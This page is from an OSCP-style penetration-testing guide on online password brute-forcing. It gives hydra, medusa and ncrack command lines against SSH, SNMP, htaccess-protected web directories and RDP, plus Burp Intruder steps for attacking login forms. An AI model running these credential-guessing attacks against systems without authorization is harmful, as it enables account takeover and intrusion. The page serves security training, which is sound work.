> For the complete documentation index, see [llms.txt](https://cybermuhdupa.gitbook.io/total-oscp-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cybermuhdupa.gitbook.io/total-oscp-guide/password-cracking/online-password-cracking.md).

# Online password cracking

There are several tools specialized for bruteforcing online. There are several different services that are common for bruteforce. For example: VNC, SSH, FTP, SNMP, POP3, HTTP.

### Port 22 - SSH <a href="#port-22---ssh" id="port-22---ssh"></a>

```
hydra -l root -P wordlist.txt 192.168.0.101 ssh
hydra -L userlist.txt -P best1050.txt 192.168.1.103 -s 22 ssh -V
```

### Port 80/443 htaccess <a href="#port-80443-htaccess" id="port-80443-htaccess"></a>

You can password protect directories with apache pretty easily. Just configure the htaccess (I exaplin this in the chapter on Common ports).

It can then be brute forced like this:

```
medusa -h 192.168.1.101 -u admin -P wordlist.txt -M http -m DIR:/test -T 10
```

#### Logins <a href="#logins" id="logins"></a>

Use Burp suite.

1. Intecept a login attempt.
2. Right-lick "Send to intruder". Select Sniper if you have nly one field you want to bruteforce. If you for example already know the username. Otherwise select cluster-attack.
3. Select your payload, your wordlist.
4. Click attack.
5. Look for response-length that differs from the rest.

### Port 161 - SNMP <a href="#port-161---snmp" id="port-161---snmp"></a>

```
hydra -P wordlist.txt -v 102.168.0.101 snmp
```

### Port 3389 - Remote Desktop Protocol <a href="#port-3389---remote-desktop-protocol" id="port-3389---remote-desktop-protocol"></a>

For RDP we can use Ncrack.

```
ncrack -vv --user admin -P password-file.txt rdp://192.168.0.101
```